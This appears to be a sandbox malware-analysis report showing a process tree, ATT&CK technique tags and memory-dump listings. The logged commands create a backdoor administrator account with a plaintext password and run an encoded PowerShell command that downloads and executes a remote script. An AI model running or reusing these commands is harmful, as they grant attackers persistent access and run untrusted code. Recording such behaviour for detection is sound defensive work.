cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:3276
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:3212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1620

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc bSDBzf1f
1⤵
PID:3808
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc bSDBzf1f
  2⤵
  PID:2220
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc bSDBzf1f
    3⤵
    PID:3912

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1796
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3640

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3104
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3740

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2784
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1464-210-0x0000017A319A0000-0x0000017A31A70000-memory.dmp

Filesize
832KB

Download
memory/1464-211-0x0000017A319A0000-0x0000017A31A70000-memory.dmp

Filesize
832KB

Download
memory/1464-214-0x0000017A319A0000-0x0000017A31A70000-memory.dmp

Filesize
832KB

Download
memory/1528-159-0x0000018BEFA93000-0x0000018BEFA95000-memory.dmp

Filesize
8KB

Download
memory/1528-162-0x0000018BEFA96000-0x0000018BEFA98000-memory.dmp

Filesize
8KB

Download
memory/1528-158-0x0000018BEFA90000-0x0000018BEFA92000-memory.dmp

Filesize
8KB

Download
memory/2460-143-0x0000021E334A0000-0x0000021E4B650000-memory.dmp

Filesize
385.7MB

Download
memory/2460-153-0x0000021E4C000000-0x0000021E4C20A000-memory.dmp

Filesize
2.0MB

Download
memory/2460-152-0x0000021E4BC70000-0x0000021E4BDE6000-memory.dmp

Filesize
1.5MB

Download
memory/2460-178-0x0000021E334A0000-0x0000021E4B650000-memory.dmp

Filesize
385.7MB

Download
memory/2460-142-0x0000021E334A0000-0x0000021E4B650000-memory.dmp

Filesize
385.7MB

Download
memory/2460-140-0x0000021E334A0000-0x0000021E4B650000-memory.dmp

Filesize
385.7MB

Download
memory/2460-139-0x0000021E4B5D0000-0x0000021E4B5F2000-memory.dmp

Filesize
136KB

Download
memory/2872-176-0x00000200858E0000-0x000002009DA50000-memory.dmp

Filesize
385.4MB

Download
memory/3876-131-0x000002027A233000-0x000002027A235000-memory.dmp

Filesize
8KB

Download
memory/3876-133-0x000002027A236000-0x000002027A237000-memory.dmp

Filesize
4KB

Download
memory/3876-132-0x000002027A235000-0x000002027A236000-memory.dmp

Filesize
4KB

Download
memory/3876-130-0x000002027A230000-0x000002027A232000-memory.dmp

Filesize
8KB

Download